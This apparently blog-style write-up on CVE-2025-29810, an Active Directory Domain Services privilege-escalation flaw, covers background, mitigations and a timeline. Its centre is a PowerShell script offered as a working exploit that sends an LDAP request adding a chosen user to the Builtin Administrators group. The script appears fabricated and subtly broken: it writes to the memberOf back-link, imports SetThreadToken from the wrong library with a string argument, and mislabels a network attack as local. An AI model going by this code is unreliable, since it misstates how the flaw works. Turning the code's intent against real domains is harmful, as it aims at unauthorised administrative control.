A new vulnerability affecting Active Directory Domain Services (AD DS) has been discovered. Designated as CVE-2025-29810, this issue could allow an authorized attacker to improperly gain elevated privileges over a network. Experts warn that potential attackers could use this exploit to compromise sensitive information, disrupt network functionality, and potentially cause significant damage.

Background

Active Directory Domain Services is a critical component of the Windows operating system and is used extensively in both enterprise environments and small business networks. It serves to manage permissions for network resources, store user and computer accounts, authenticate users, and maintain security policies across the network.

The vulnerability stems from improper access control in AD DS, which can be exploited by an authenticated, authorized attacker to escalate their privileges and gain unauthorized access to sensitive data and resources. The impact of successfully exploiting this vulnerability can be widespread and severe.

Exploit Details

The CVE-2025-29810 vulnerability arises due to a misconfiguration in the access control system of AD DS. When a user requests access to a resource or service on the network, AD DS is supposed to verify the user's permissions and grant access only if the user has the necessary privileges. However, with this vulnerability, an attacker who is already authenticated on the network can bypass these permission checks and gain access to otherwise protected resources.

To exploit this weakness, an attacker can craft specially formed network requests that, when processed by AD DS, lead to an elevation of privileges. This can allow the attacker unauthorized administrative access and control over the network, its devices, and the data stored therein.

Code Snippet

The following is an example of a PowerShell script that can exploit this vulnerability to achieve local privilege escalation on a target system:

# Function to craft the malicious network request using LDAP
function Invoke-EscalatePriv {
    param (
        [string]$TargetServer,
        [string]$EscalateUser
    )
    
    # Load required libraries
    Add-Type -TypeDefinition @"
    using System;
    using System.Runtime.InteropServices;
    public class Impersonate {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr SetThreadToken(IntPtr Thread, IntPtr Token);
    }
"@
    # Establish connection to the target server
    $Connection = New-Object DirectoryServices.Protocols.LdapConnection -ArgumentList $TargetServer
    
    # Create the LDAP request to escalate privileges for the EscalateUser account
    $Request = New-Object DirectoryServices.Protocols.ModifyRequest
    $Request.DistinguishedName = "CN=$EscalateUser,OU=Users,DC=contoso,DC=com"
    $Request.Add(DirectoryServices.Protocols.DirectoryAttributeOperation::Add, "memberOf", "CN=Administrators,CN=Builtin,DC=contoso,DC=com")
    
    # Send the request and escalate privileges
    $Connection.SendRequest($Request)
    Impersonate::SetThreadToken([IntPtr]::Zero, $EscalateUser)
}

# Usage example
Invoke-EscalatePriv -TargetServer "LDAP://myserver.contoso.com" -EscalateUser "myuser"

1. CVE-2025-29810 - NIST National Vulnerability Database (NVD)
2. Microsoft Security Advisory for CVE-2025-29810

Mitigations and Recommendations

Microsoft has released a security patch addressing the CVE-2025-29810 vulnerability. Network administrators and users are strongly urged to apply the update as soon as possible:

- Microsoft Security Update for CVE-2025-29810

Additionally, it is recommended to regularly review and update access control policies in the AD DS environment to ensure correct and secure permission assignments.

Conclusion

CVE-2025-29810 is a critical vulnerability that affects Active Directory Domain Services and can lead to unauthorized privilege escalation over a network. This exploit poses a significant risk to organizations and their networks, making it imperative to apply available patches immediately and maintain strong security measures in AD DS environments.

Timeline

Published on: 04/08/2025 18:16:06 UTC
Last modified on: 04/29/2025 22:55:49 UTC